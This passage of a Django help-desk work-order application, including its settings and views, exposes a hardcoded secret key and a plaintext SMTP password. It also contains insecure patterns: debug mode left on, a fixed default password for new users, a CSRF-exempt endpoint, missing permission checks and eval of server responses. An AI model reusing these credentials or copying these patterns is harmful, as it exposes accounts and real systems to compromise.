"repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "FROM python:3.7.9-alpine3.12\nMAINTAINER sunyaxiong <[email protected]>\n\nEXPOSE 4000\nENV APPNAME=odman\n\nCOPY ./* /data/\n\nRUN echo \"https://mirror.tuna.tsinghua.edu.cn/alpine/v3.4/main\" > /etc/apk/repositories && \\\napk add --update \\\n gcc && \\\nmkdir /data/\nWORKDIR /data/\n\nCMD [\"python\" , \"manage.py\", \"runserver\", \"0.0.0.0:8080\"]\n" }, { "alpha_fraction": 0.6212835311889648, "alphanum_fraction": 0.6285351514816284, "avg_line_length": 26.31188201904297, "blob_id": "9b17c75a65bbcfa1ebb91253a5864e76af1ca68d", "content_id": "a24bcf732a7cc45af2525f4050d95514d00f88f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5604, "license_type": "no_license", "max_line_length": 113, "num_lines": 202, "path": "/odman/settings.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "\"\"\"\nDjango settings for odman project.\n\nGenerated by 'django-admin startproject' using Django 2.1.4.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/2.1/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/2.1/ref/settings/\n\"\"\"\n\nimport os\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'xeo^9oump43^g)uz36y&za99p4ub4^vo)9nwj1n3^adagvs*@a'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nALLOWED_HOSTS = [\"*\", ]\n\n\n# Application definition\n\nINSTALLED_APPS = [\n 'suit',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'apps.order',\n 'django_crontab',\n 'gunicorn'\n]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'odman.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'odman.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/2.1/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\n# DATABASES = {\n# 'default': {\n# 'ENGINE': 'django.db.backends.mysql',\n# 'NAME': 'odman',\n# 'USER': 'odman@odmandb',\n# 'PASSWORD': '[email protected]',\n# 'HOST': 'odmandb.mysql.database.chinacloudapi.cn',\n# 'PORT': '3306',\n# }\n# }\n\n\n# Password validation\n# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/2.1/topics/i18n/\n\nLANGUAGE_CODE = 'zh-Hans'\n\nTIME_ZONE = 'Asia/Shanghai'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/2.1/howto/static-files/\n\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, \"static\"),\n # '/home/syx/workspace/JiajieOMP/src/OMPService/static',\n]\nSTATIC_ROOT = os.path.join(BASE_DIR, 'static_collect')\n\n# upload\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\nMEDIA_URL = '/media/'\n\n\n# Django Suit configuration example\nSUIT_CONFIG = {\n # header\n 'ADMIN_NAME': 'Azure工单系统后台',\n # 'HEADER_DATE_FORMAT': 'l, j. F Y',\n # 'HEADER_TIME_FORMAT': 'H:i',\n\n # forms\n # 'SHOW_REQUIRED_ASTERISK': True, # Default True\n # 'CONFIRM_UNSAVED_CHANGES': True, # Default True\n\n # menu\n # 'SEARCH_URL': '/admin/auth/user/',\n # 'MENU_ICONS': {\n # 'sites': 'icon-leaf',\n # 'auth': 'icon-lock',\n # },\n # 'MENU_OPEN_FIRST_CHILD': True, # Default True\n 'MENU_EXCLUDE': ('auth.group',),\n 'MENU': (\n 'sites',\n {'app': 'auth', 'icon': 'icon-lock', 'models': ('user', 'group')},\n {'app': 'order', 'label': '工单', 'icon': 'icon-cog', 'models': (\n 'Channel', 'Consumer', 'UserProfile', 'WorkOrder', 'OrderAttachFile', 'WorkOrderPool', 'WorkOrderLog'\n )},\n {'app': \"order\", 'label': \"系统设置\", 'icon': 'icon-cog', \"models\": ('SystemConf',)}\n # {'label': '同步短信签名与模板', 'icon': 'icon-cog', 'url': '/sms/sync'},\n # {'app': 'sms', 'label': '查看短信签名与模板', 'icon': 'icon-cog', 'models': ('SmsSignature', \"SmsTemplate\")},\n # {'app': 'sms', 'label': '通讯录管理', 'icon': 'icon-cog', 'models': ('AddressBook', 'ContactsFile')},\n # {'app': 'sms', 'label': '短信管理', 'icon': 'icon-cog', 'models': ('SmsMessage', 'MultiSmsMessage',)},\n # {'label': '帮助与支持', 'icon': 'icon-question-sign', 'url': '/sms/support'},\n ),\n\n # misc\n # 'LIST_PER_PAGE': 15\n}\n\n# frontend config\nPAGE_LIMIT = 10\n\n\n# email send\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\n\nEMAIL_HOST = 'smtp.ecscloud.com'\nEMAIL_PORT = 25\nEMAIL_HOST_USER = '[email protected]'\nEMAIL_HOST_PASSWORD = 'ECSchin@2016'\nEMAIL_SUBJECT_PREFIX = u'[vstecs.com]'\nEMAIL_USE_TLS = True\n\n\n# odman conf\nWEB_HOST = \"gd.ecscloud.com\"\nWEB_PORT = \"10001\"\nADMIN_MAIL = \"[email protected]\"" }, { "alpha_fraction": 0.581267237663269, "alphanum_fraction": 0.6101928353309631, "avg_line_length": 24.928571701049805, "blob_id": "763fb04639027e9c4056e47595fe9842e5ce5f3c", "content_id": "f68518abb2a9ee75e341263c026f99156408d010", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 968, "license_type": "no_license", "max_line_length": 90, "num_lines": 28, "path": "/lib/utils.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "import re\n\n\ndef cut_string(s, _start, _end):\n pattern1 = re.compile(_start)\n pattern2 = re.compile(_end)\n\n var_list = []\n first_cut_list = re.split(pattern1, s)\n for i in first_cut_list[1:]:\n var_list.append(re.split(pattern2, i)[0])\n\n return var_list\n\n\ndef cut_string1(s):\n s1 = s.split(\"$\")\n return [i.split(\")\")[0][1:] for i in s1[1:]]\n\n\nif __name__ == \"__main__\":\n text = \"您好,您的快递已经送到$(address),快递编号$(trackingnumber),请尽快领取。有问题请联系$(couriermobile)。\"\n text2 = \"【伟仕小贷】您有一个见面礼福袋还未领取,最高可得300元贴金券!登录手机app伟仕小贷点击首页右下角小猪浮标,领取福袋!如已领取请忽略,退订回复TD。\t\"\n text1 = \"您的验证码$(otpcode),该验证码5分钟内有效,请勿泄漏于他人!\"\n res = cut_string(text, \"\\(\", \"\\)\")\n print(res)\n res1 = cut_string1(text)\n print(res1)\n" }, { "alpha_fraction": 0.6356382966041565, "alphanum_fraction": 0.6356382966041565, "avg_line_length": 23.521739959716797, "blob_id": "d4b4e771e157aa07f7098ac02b7e860f9862021d", "content_id": "e745ce92d9f8a2640203f5daa15d3681df52341b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1224, "license_type": "no_license", "max_line_length": 60, "num_lines": 46, "path": "/apps/order/forms.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "from django import forms\n\n\nclass ImportChannelForm(forms.Form):\n \"\"\"\n 导入渠道的form,废弃\n \"\"\"\n file = forms.FileField(required=False)\n\n\nclass RegisterForm(forms.Form):\n \"\"\"\n 用户注册Form验证\n \"\"\"\n mpn_ids = forms.CharField(required=True)\n username = forms.CharField(required=True)\n email = forms.CharField(required=True)\n phone = forms.CharField(required=True)\n password = forms.PasswordInput()\n retype = forms.PasswordInput()\n\n\nclass OrderCreatForm(forms.Form):\n \"\"\"\n 订单创建Form验证\n \"\"\"\n title = forms.CharField()\n classify = forms.CharField()\n content = forms.Textarea()\n priority = forms.CharField(required=False)\n file = forms.FileField(\n error_messages={\"required\": \"请添加附件\"}, required=False\n )\n com_name = forms.CharField(\n error_messages={\"required\": \"请填写公司名称\"}\n )\n contact = forms.CharField(\n error_messages={\"required\": \"请填写联系人\"}\n )\n email = forms.EmailField(\n error_messages={\"required\": \"请填写邮箱\"}\n )\n phone = forms.IntegerField(\n error_messages={\"required\": \"请填写电话\"}\n )\n is_consumer = forms.BooleanField()\n" }, { "alpha_fraction": 0.35085007548332214, "alphanum_fraction": 0.35085007548332214, "avg_line_length": 33.105262756347656, "blob_id": "327887b3d6d8c5506292e5431013b5450946a7d7", "content_id": "f3c7284068d0712cde0e97299f2dc8399ede35bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 647, "license_type": "no_license", "max_line_length": 67, "num_lines": 19, "path": "/static/odman.js", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "function apply_code() {\n\n let email=$('#email').val();\n console.log(email);\n $.ajax({\n type: \"POST\",\n url: \"/accounts/apply_for_code/\",\n data: {\n 'email': email,\n },\n success: function(ret) {\n let _data = eval(\"(\"+ret+\")\");\n console.log(_data['message']);\n $(\"#apply_code\").attr(\"disabled\", \"disabled\");\n $(\"#apply_code\").removeAttr(\"onclick\");\n $(\"#message\").html(_data.message)\n }\n })\n };" }, { "alpha_fraction": 0.5470261573791504, "alphanum_fraction": 0.5501132011413574, "avg_line_length": 31.786773681640625, "blob_id": "caf0ce1a4ede12a391258d387c276280e9bfc968", "content_id": "652bf888cec70e31412615286d472de5a3f8150f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26767, "license_type": "no_license", "max_line_length": 116, "num_lines": 741, "path": "/apps/order/views.py", "repo_name": "sunyaxiong/odman", "src_encoding": "UTF-8", "text": "import datetime\nimport re\nimport json\n\nfrom django.shortcuts import render, HttpResponseRedirect, HttpResponse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.hashers import make_password\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.mail import send_mail\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.template.context_processors import csrf\nfrom django.db.models import Q\n\nfrom django.contrib.auth.models import User\nfrom .models import Channel\nfrom .models import UserProfile\nfrom .models import WorkOrder\nfrom .models import WorkOrderPool\nfrom .models import WorkOrderLog\nfrom .models import OrderAttachFile\nfrom .models import Consumer\nfrom .models import ApplyVerifyCode\nfrom .models import SystemConf\nfrom .forms import RegisterForm, OrderCreatForm\nfrom lib import excel2\nfrom odman.settings import PAGE_LIMIT, WEB_HOST, WEB_PORT, ADMIN_MAIL\n\n\ndef my_login(request):\n \"\"\"\n 自定义登陆函数\n :param request:\n :return:\n \"\"\"\n if request.method == \"GET\":\n return render(request, 'login.html', locals())\n if request.method == \"POST\":\n username = request.POST.get(\"username\")\n passwd = request.POST.get(\"password\")\n try:\n user = User.objects.get(Q(username=username) | Q(email=username))\n except Exception as e:\n user = None\n message = \"用户不存在或者密码不正确\"\n return render(request, 'login.html', locals())\n # user = authenticate(username=username, password=passwd)\n\n if not user.is_staff:\n message = \"用户未激活,请联系渠道管理员\"\n return render(request, 'login.html', locals())\n if user is not None and user.check_password(passwd):\n login(request, user)\n else:\n message = \"用户名或密码错误,请检查后重新输入\"\n return render(request, 'login.html', locals())\n\n return HttpResponseRedirect('/order/orders/')\n\n\ndef my_logout(request):\n logout(request)\n\n return HttpResponseRedirect(\"/accounts/login/\")\n\n\ndef register(request):\n if request.method == \"POST\":\n\n form = RegisterForm(request.POST)\n if form.is_valid():\n data = form.data\n # 检查MPN-ID\n try:\n channel = Channel.objects.get(mpn_ids=data.get(\"mpn_ids\"))\n except ObjectDoesNotExist as e:\n channel = None\n service_mail = SystemConf.objects.filter()[0].service_mail\n message = f\"MPN-ID验证失败,请联系您的代理商管理员核实MPN-ID \\n 如有需要,请联系:{service_mail}\"\n return render(request, \"register.html\", locals())\n # 创建用户\n try:\n user = User(\n username=data.get(\"username\"),\n password=make_password(data.get(\"password\")),\n is_active=1,\n email=data.get(\"email\"),\n # is_staff=1\n )\n user.save()\n if user:\n profile = UserProfile.objects.create(\n user=user,\n phone=data.get(\"phone\"),\n email=data.get(\"email\"), # 邮件提醒: 此邮箱用来接收邮件提醒\n channel=channel,\n com_name=data.get(\"com_name\"),\n )\n # 激活邮件:预留邮箱审核并激活\n # link = f\"http://{WEB_HOST}:{WEB_PORT}/profile/{user.id}/\"\n link = f\"http://{WEB_HOST}/profile/{user.id}/\"\n content = f\"管理员, 您好:\\n 工单系统代理商:{channel.name}下有用户正在进行注册,请审批\\n \\\n 用户信息如下:\\n \\\n 用户名: {user.username}\\n \\\n 电 话: {user.userprofile.phone}\\n \\\n 邮 箱: {user.userprofile.email}\\n \\\n 邮 箱: {user.userprofile.com_name}\\n \\\n 如果确认信息无误,请点击下方链接激活:\\n \\\n {link}\"\n admin_mail = SystemConf.objects.filter()[0].admin_mail\n send_mail(\n \"账号创建成功,请通过链接激活\",\n content,\n \"[email protected]\",\n admin_mail.split(\"\\r\\n\"), # 佳杰指定管理员邮箱进行激活\n fail_silently=False\n )\n return HttpResponse(\n \"注册成功,已经通知系统管理员进行账户审核,审核通过后会发送通知到您的邮箱,请您耐心等待邮件通知 !\"\n )\n except Exception as e:\n print(e)\n message = \"请检查是否用户已存在,若存在可直接登陆。\"\n return render(request, 'register.html', locals())\n else:\n print(form.errors)\n return render(request, \"register.html\", locals())\n return render(request, \"register.html\", locals())\n\n\n@login_required\ndef profile(request, pk):\n try:\n user = User.objects.get(id=pk)\n except Exception as e:\n messages.warning(\"用户不存在\")\n return render(request, \"profile.html\", locals())\n page_info = {\n \"page_header\": \"个人信息\",\n \"page_des\": \"个人信息维护\",\n \"user\": request.user,\n }\n return render(request, 'profile.html', locals())\n\n\ndef reset_passwd(request):\n\n if request.method == \"POST\":\n data = request.POST\n try:\n user = User.objects.get(email=data.get(\"email\"))\n except Exception as e:\n user = None\n if not user:\n message = \"用户不存在\"\n return render(request, 'reset_passwd.html', locals())\n\n try:\n code = ApplyVerifyCode.objects.get(code=data.get(\"code\"), user=user, status=1)\n code.status = 0\n code.save()\n except ObjectDoesNotExist as e:\n message = \"验证码不存在或者失效,请重新申请\"\n return render(request, 'reset_passwd.html', locals())\n\n user.password = make_password(data.get(\"passwd\"))\n user.save()\n return HttpResponseRedirect(\"/accounts/login/\")\n return render(request, \"reset_passwd.html\", locals())\n\n\n@csrf_exempt\ndef apply_verify_code(request):\n\n if request.method == \"POST\":\n data = request.POST\n email = data.get(\"email\")\n try:\n user = UserProfile.objects.filter(email=email).last().user\n except Exception as e:\n user = None\n\n if user:\n code = ApplyVerifyCode.objects.create(\n user=user\n )\n send_mail(\n \"请查收验证码\",\n f\"您的验证码已经创建成功: {code.code}\",\n \"[email protected]\",\n [user.userprofile.email],\n fail_silently=False\n )\n code, message = 0, \"验证码已发送,请通过邮箱查收。\"\n else:\n code, message = 1, \"用户异常或者不存在,请联系管理员\"\n res = {\n \"message\": message,\n \"code\": code\n }\n return HttpResponse(json.dumps(res))\n\n\n@login_required\ndef profile_confirm(request, pk):\n \"\"\"\n 管理员审核确认用户注册申请,审核通过发送邮件提醒,告知用户审核结果\n \"\"\"\n try:\n user = User.objects.get(id=pk)\n if not user.is_staff:\n user.is_staff = 1\n user.save()\n # login_link = f\"http://{WEB_HOST}:{WEB_PORT}/accounts/login\"\n login_link = f\"http://{WEB_HOST}/accounts/login\"\n send_mail(\n \"账户激活提醒\",\n f\"尊敬的 {user.username}: \\n 您的账户已经激活,请登陆并访问工单系统: {login_link}\",\n \"[email protected]\",\n [user.userprofile.email], # 邮件提醒: 此处email为用户注册时提交\n )\n messages.warning(request, f\"用户: {user.username} 已经激活\")\n else:\n messages.warning(request, \"用户已经激活,无需重复点击\")\n except ObjectDoesNotExist as e:\n messages.error(request, \"用户注册异常,请联系用户重新注册\")\n return HttpResponseRedirect(\"/order/orders/\")\n return HttpResponseRedirect(f\"/profile/{user.id}/\")\n\n\n@login_required\ndef profile_update(request, pk):\n\n if request.method == \"POST\":\n data = request.POST\n try:\n user = User.objects.get(id=pk)\n except Exception as e:\n user = None\n messages.warning(\"用户可能不存在\")\n if user:\n user.userprofile.email = data.get(\"email\")\n user.userprofile.phone = data.get(\"phone\")\n user.userprofile.cn_name = data.get(\"name\")\n user.userprofile.job_title = data.get(\"job_title\")\n user.userprofile.save()\n return HttpResponseRedirect(f'/profile/{pk}/')\n\n\n@login_required\ndef channel_list(request):\n \"\"\"\n 渠道列表\n :param request:\n :return:\n \"\"\"\n queryset = Channel.objects.filter()\n\n # 条件筛选 & 搜索\n if request.GET.get(\"mpn_ids\"):\n queryset = queryset.filter(mpn_ids=str(request.GET.get(\"mpn_ids\")))\n if request.GET.get(\"q\"):\n queryset = queryset.filter(name__contains=request.GET.get(\"q\"))\n # 排序\n\n # 处理分页\n paginator = Paginator(queryset, PAGE_LIMIT)\n page = request.GET.get('page') if request.GET.get('page') else 1\n try:\n contacts = paginator.page(page) # contacts为Page对象!\n except PageNotAnInteger:\n # 页面不是整数时,返回第一页\n page = 1\n contacts = paginator.page(1)\n except EmptyPage:\n page = 1\n # page超出整数范围,返回最后一页\n contacts = paginator.page(1)\n\n page_info = {\n \"page_header\": \"渠道管理\",\n \"page_des\": \"渠道信息维护\",\n \"user\": request.user,\n \"table_title\": \"渠道商列表\"\n }\n\n return render(request, 'channel_tables.html', locals())\n\n\n@login_required\ndef import_channel(request):\n if request.method == \"POST\":\n excel = excel2.Excel(title_line=1, data_line=2) # 导入所用模板第二行为标题行,index=1\n data = excel.load_by_cont(request.FILES.get(\"file\").read())\n\n new_create_count = 0\n for i in data:\n mpn_id_str = i.get(\"MPN-ID\")\n # 检查表格内mpnid是否存在,为空时message报错\n if mpn_id_str:\n mpn_id = int(i.get(\"MPN-ID\").split(\".\")[0])\n else:\n partner_name = i.get('Partner Name')\n messages.warning(request, f\"{partner_name} 未分配MPN-ID,请检查导入数据合规性\")\n return HttpResponseRedirect('/order/channels/')\n\n # 检查对应mpnid的渠道是否存在是否存在\n obj, _ = Channel.objects.get_or_create(mpn_ids=mpn_id)\n if _:\n obj.name = i.get(\"Partner Name\")\n obj.address = i.get(\"Partner 城市\")\n obj.contact = i.get(\"代理商联系人\")\n obj.phone = i.get(\"联系电话\").split(\".\")[0] if i.get(\"联系电话\") else None\n obj.email = i.get(\"联系邮箱\")\n obj.mpn_ids = mpn_id\n obj.save()\n new_create_count += 1\n messages.success(request, f\"新导入渠道{new_create_count}个\")\n return HttpResponseRedirect('/order/channels/')\n\n\n@login_required\ndef channel_detail(request, pk):\n channel = Channel.objects.get(id=pk)\n\n page_info = {\n \"page_header\": \"渠道详情\",\n \"page_des\": \"渠道信息维护\",\n \"user\": request.user,\n }\n\n return render(request, \"channel_detail.html\", locals())\n\n\n@login_required\ndef channel_update(request, pk):\n channel = Channel.objects.get(id=pk)\n\n if request.method == \"POST\":\n org_id = request.POST.get(\"org_ids\")\n if not org_id:\n messages.warning(request, \"订阅ID不能为空\")\n return HttpResponseRedirect(f\"/order/channel/{pk}\")\n p = re.compile('^[A-Za-z0-9\\u4e00-\\u9fa5]+@[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+)+$')\n if not p.match(org_id):\n messages.warning(request, \"订阅ID格式不匹配\")\n return HttpResponseRedirect(f\"/order/channel/{pk}\")\n\n username = org_id.split(\"@\")[0]\n user, created = User.objects.get_or_create(username=username)\n if not created:\n messages.error(request, f\"用户:{username},已经存在,用户名不可重复\")\n return HttpResponseRedirect(f\"/order/channel/{pk}\")\n else:\n user.email = org_id\n user.is_staff = 1\n user.password = make_password(\"1234ABCabc\")\n user.save()\n UserProfile.objects.create(\n user=user,\n channel=channel,\n phone=channel.phone,\n email=channel.email,\n )\n\n channel.org_ids = org_id\n channel.save()\n messages.success(request, f\"订阅id维护成功;用户: {username}, 创建成功\")\n\n return HttpResponseRedirect(f\"/order/channel/{pk}\")\n\n\n@login_required\ndef order_list(request):\n\n # 权限\n if request.user.userprofile.role == 2:\n queryset = WorkOrder.objects.filter(\n proposer=request.user # 只能看到自己申请用户\n ).exclude(status=0)\n elif request.user.userprofile.role == 1:\n queryset = WorkOrder.objects.filter(\n processor=request.user\n ).exclude(status=0) # 只能看到自己处理的单据\n else:\n queryset = WorkOrder.objects.filter().exclude(status=0)\n\n # 条件筛选 & 搜索\n try:\n if request.GET.get(\"mpn_ids\"):\n queryset = queryset.filter(mpn_id=str(request.GET.get(\"mpn_ids\")))\n if request.GET.get(\"q\"):\n queryset = queryset.filter(title__contains=request.GET.get(\"q\"))\n if request.GET.get(\"order_by\"):\n queryset = queryset.order_by(request.GET.get(\"order_by\"))\n except Exception as e:\n print(e)\n\n # 处理分页\n paginator = Paginator(queryset.order_by(\"-dt_created\"), PAGE_LIMIT)\n page = request.GET.get('page') if request.GET.get(\"page\") else 1\n try:\n contacts = paginator.page(page) # contacts为Page对象!\n except PageNotAnInteger:\n # 页面不是整数时,返回第一页\n page = 1\n contacts = paginator.page(1)\n except EmptyPage:\n # page超出整数范围,返回最后一页\n page = 1\n contacts = paginator.page(paginator.num_pages)\n\n page_info = {\n \"page_header\": \"我的工单\",\n \"page_des\": \"\",\n \"user\": request.user,\n \"table_title\": \"工单列表\"\n }\n\n return render(request, 'order_tables.html', locals())\n\n\n@login_required\ndef order_detail(request, pk):\n\n work_order = WorkOrder.objects.get(id=pk)\n process_logs = work_order.workorderlog_set.all()\n att_files = work_order.att_file.all()\n support_user_profile_list = UserProfile.objects.filter(role=1) # 支持人员\n support_user_list = [i.user for i in support_user_profile_list]\n\n page_info = {\n \"page_header\": \"工单详情\",\n \"page_des\": \"\",\n \"user\": request.user,\n }\n # 超管权限\n if request.user.userprofile.role == 0:\n return render(request, \"order_detail.html\", locals())\n\n # 请求人或者处理人可以看到工单\n if not (request.user == work_order.proposer or request.user == work_order.processor):\n page_info[\"page_header\"] = \"权限错误\"\n message = \"您无权访问该页面\"\n return render(request, 'permission_error.html', locals())\n\n return render(request, \"order_detail.html\", locals())\n\n\n@login_required\ndef order_update(request, pk):\n order = WorkOrder.objects.get(id=pk)\n if request.method == \"POST\":\n data = request.POST\n reply = data.get(\"reply\")\n try:\n WorkOrderLog.objects.create(\n user=request.user,\n action=\"提交\",\n field=\"处理记录\",\n order=order,\n content=reply,\n )\n send_mail(\n \"工单处理提醒,请登录系统查看\",\n f\"工单:{order.title}, \\n新答复:{reply}\",\n \"[email protected]\",\n [order.proposer.userprofile.email]\n )\n except Exception as e:\n messages.error(request, \"处理记录提交失败,请重新提交\")\n return HttpResponseRedirect(f\"/order/order/{pk}\")\n\n return HttpResponseRedirect('/order/orders/')\n\n\n@login_required\ndef order_create(request):\n\n if request.method == \"POST\":\n form = OrderCreatForm(request.POST, request.FILES)\n if form.is_valid():\n data = form.data\n # 添加实际联系人:实际联系人+content\n actual_contact = f\"{data.get('contact')}-{data.get('phone')}-{data.get('email')}-{data.get('com_name')}\"\n # 创建订单\n try:\n order = WorkOrder(\n title=data.get(\"title\"),\n content=data.get('content'),\n status=1,\n classify=int(data.get(\"classify\")),\n proposer=request.user,\n channel=request.user.userprofile.channel,\n actual_contact=actual_contact\n )\n order.save()\n\n _number = str(order.id).zfill(5)\n _timestamp = datetime.datetime.now().strftime(\"%y%m%d\")\n order.number = f\"GD{_timestamp}{_number}\"\n order.save()\n # 发送提醒\n content = f\"管理员, 您好:\\n 工单系统代理商:{request.user.userprofile.channel.name}提交了工单\\n \\\n 工单链接如下:\\n \\\n http://{WEB_HOST}/order/order/{order.id}\\n \\\n 请及时处理\\n \\\n \"\n # 从系统读取公共邮箱,多个邮箱\n mail_to_list = SystemConf.objects.filter()[0].public_mail.split(\"\\r\\n\")\n send_mail(\n \"新工单提醒\",\n content,\n \"[email protected]\",\n mail_to_list\n )\n except Exception as e:\n order = None\n messages.warning(request, f\"创建失败: {e}\")\n return render(request, \"order_create.html\", locals())\n\n # 创建工单池对象\\附件\\客户信息入库\n if order:\n WorkOrderPool.objects.create(\n order=order\n )\n if request.FILES.get(\"file\"):\n OrderAttachFile.objects.create(\n order=order,\n file=request.FILES.get(\"file\"),\n title=request.FILES.get(\"file\").name,\n )\n # 判断是否是最终客户\n is_consumer = 1 if data.get(\"is_consumer\") == \"1\" else 0\n consumer, _ = Consumer.objects.get_or_create(\n phone=data.get(\"phone\"),\n )\n if _:\n consumer.com_name = data.get(\"com_name\")\n consumer.email = data.get(\"email\")\n consumer.is_consumer = is_consumer\n consumer.contact = data.get(\"contact\")\n consumer.channel = request.user.userprofile.channel\n consumer.save()\n order.consumer = consumer\n order.save()\n\n messages.success(request, \"工单提交成功\")\n return HttpResponseRedirect(f\"/order/order/{order.id}\")\n else:\n print(form.errors)\n messages.warning(request, form.errors)\n return render(request, 'order_create.html', locals())\n\n page_info = {\n \"page_header\": \"填写工单\",\n \"page_des\": \"\",\n \"user\": request.user,\n }\n\n return render(request, \"order_create.html\", locals())\n\n\n@login_required\ndef order_pool_list(request):\n\n queryset = WorkOrderPool.objects.filter(\n status=0 # 未领取\n )\n\n # # 条件筛选 & 搜索\n # if request.GET.get(\"mpn_id\"):\n # queryset = queryset.filter(mpn_id=str(request.GET.get(\"mpn_id\")))\n\n # 处理分页\n paginator = Paginator(queryset.order_by(\"-dt_created\"), PAGE_LIMIT)\n page = request.GET.get('page') if request.GET.get('page') else 1\n try:\n contacts = paginator.page(page) # contacts为Page对象!\n except PageNotAnInteger:\n # 页面不是整数时,返回第一页\n contacts = paginator.page(1)\n except EmptyPage:\n # page超出整数范围,返回最后一页\n contacts = paginator.page(paginator.num_pages)\n\n print(11)\n page_info = {\n \"page_header\": \"工单池管理\",\n \"page_des\": \"\",\n \"user\": request.user,\n \"table_title\": \"工单池\"\n }\n\n return render(request, 'order_pool_tables.html', locals())\n\n\n@login_required\ndef order_pool_take(request, pk):\n order_pool_obj = WorkOrderPool.objects.get(id=pk)\n\n if order_pool_obj.order.status == 2:\n messages.success(request, \"不要重复领取\")\n return HttpResponseRedirect(\"/order/orders/\")\n\n order_pool_obj.status = 1\n order_pool_obj.order.status = 2 # ORDER_STATUS_CHOICE 处理中\n order_pool_obj.order.take_time = datetime.datetime.now()\n order_pool_obj.order.processor = request.user # 当前处理人\n order_pool_obj.save()\n order_pool_obj.order.save()\n messages.success(request, f\"工单:{order_pool_obj.order.title} 已经被领取\")\n return HttpResponseRedirect(\"/order/orders/\")\n\n\n@login_required\ndef end_order(request, pk):\n \"\"\"\n 结束工单\n :param request:\n :param pk: 工单id\n :return:\n \"\"\"\n try:\n order = WorkOrder.objects.get(id=pk)\n except Exception as e:\n order = None\n messages.error(request, f\"{e}-请重试\")\n return HttpResponseRedirect(f\"/order/order/{pk}\")\n if order:\n # 检查是否有当前用户处理记录,否则无法结束\n if not WorkOrderLog.objects.filter(order=order, user=request.user).exists():\n messages.warning(request, \"您未对单据进行答复,请先提交答复\")\n return HttpResponseRedirect(f\"/order/order/{pk}\")\n # 发送邮件\n send_mail(\n \"工单结束提醒\", f\"您的工单: {order.title} 处理完成,请登陆查看处理结果\",\n \"[email protected]\", [order.proposer.userprofile.email]\n )\n order.status = 4\n order.save()\n return HttpResponseRedirect(f\"/order/order/{pk}\")\n\n\n@login_required\ndef pass_order(request, order_pk):\n \"\"\"\n 转交他人处理\n :param request:\n :param pk: 用户id\n :return:\n \"\"\"\n if request.method == \"POST\":\n data = request.POST\n try:\n order = WorkOrder.objects.get(id=order_pk)\n user = User.objects.get(id=data.get(\"user_id\")) # 支持人员\n except Exception as e:\n order = None\n messages.error(request, f\"{e}-订单或者用户不存在,请重试\")\n return HttpResponseRedirect(request.get_full_path)\n if order:\n order.processor = user\n order.save()\n messages.success(request, f\"订单:{order.title} 转交成功\")\n return HttpResponseRedirect(\"/order/orders\")\n\n\n@login_required\ndef reject_order(request, pk):\n\n try:\n order = WorkOrder.objects.get(id=pk)\n except ObjectDoesNotExist as e:\n order = None\n messages.error(request, \"工单不存在,请刷新并检查该工单状态\")\n return 